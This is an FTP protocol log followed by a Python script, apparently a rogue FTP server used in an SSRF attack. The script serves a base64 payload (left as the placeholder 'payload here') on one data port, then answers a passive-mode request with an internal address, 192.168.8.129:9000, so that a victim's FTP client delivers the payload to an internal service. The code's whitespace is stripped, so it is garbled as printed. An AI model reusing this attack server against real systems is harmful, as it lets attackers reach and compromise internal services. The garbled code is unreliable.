220 (vsFTPd 3.0.3)
USER anonymous
331 Please specify the password.
PASS anonymous
230 Login successful.
TYPE I
200 Switching to Binary mode.
SIZE /test/d.txt
550 Could not get file size.
EPSV
227 Entering Passive Mode (127,0,0,1,206,231).
PASV
227 Entering Passive Mode (127,0,0,1,206,231).
STOR /test/d.txt
150 Ok to send data.
226 Transfer complete.
importsocketimporttimeimportbase64deffunc():ss=socket.socket(socket.AF_INET,socket.SOCK_STREAM)ss.bind(("0.0.0.0",7777))ss.listen(1)con,host=ss.accept()payload=base64.b64decode(b"payload here")con.send(payload)con.close()s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.bind(("0.0.0.0",8888))s.listen(2)con,host=s.accept()con.send(b'220 (vsFTPd 3.0.3)\n')con.send(b'331 Please specify the password.\n')con.send(b'230 Login successful.\n')con.send(b'200 Switching to Binary mode.\n')con.send(b'213 6\n')con.send(b'229 Entering Extended Passive Mode (|||7777|)\n')func()con.send(b'150 Opening BINARY mode data connection (6 bytes).\n')con.send(b'226 Transfer complete.\n')print(con.recv(1024))#Read datacon,host1=s.accept()con.send(b'220 (vsFTPd 3.0.3)\n')con.send(b'331 Please specify the password.\n')con.send(b'230 Login successful.\n')con.send(b'200 Switching to Binary mode.\n')con.send(b'550 Could not get file size.\n')con.send(b'227 Entering Passive Mode (192,168,8,129,35,40).\n')con.send(b'227 Entering Passive Mode (192,168,8,129,35,40).\n')con.send(b'150 Ok to send data.\n')time.sleep(2)con.send(b'226 Transfer complete.\n')print(con.recv(1024))#Write data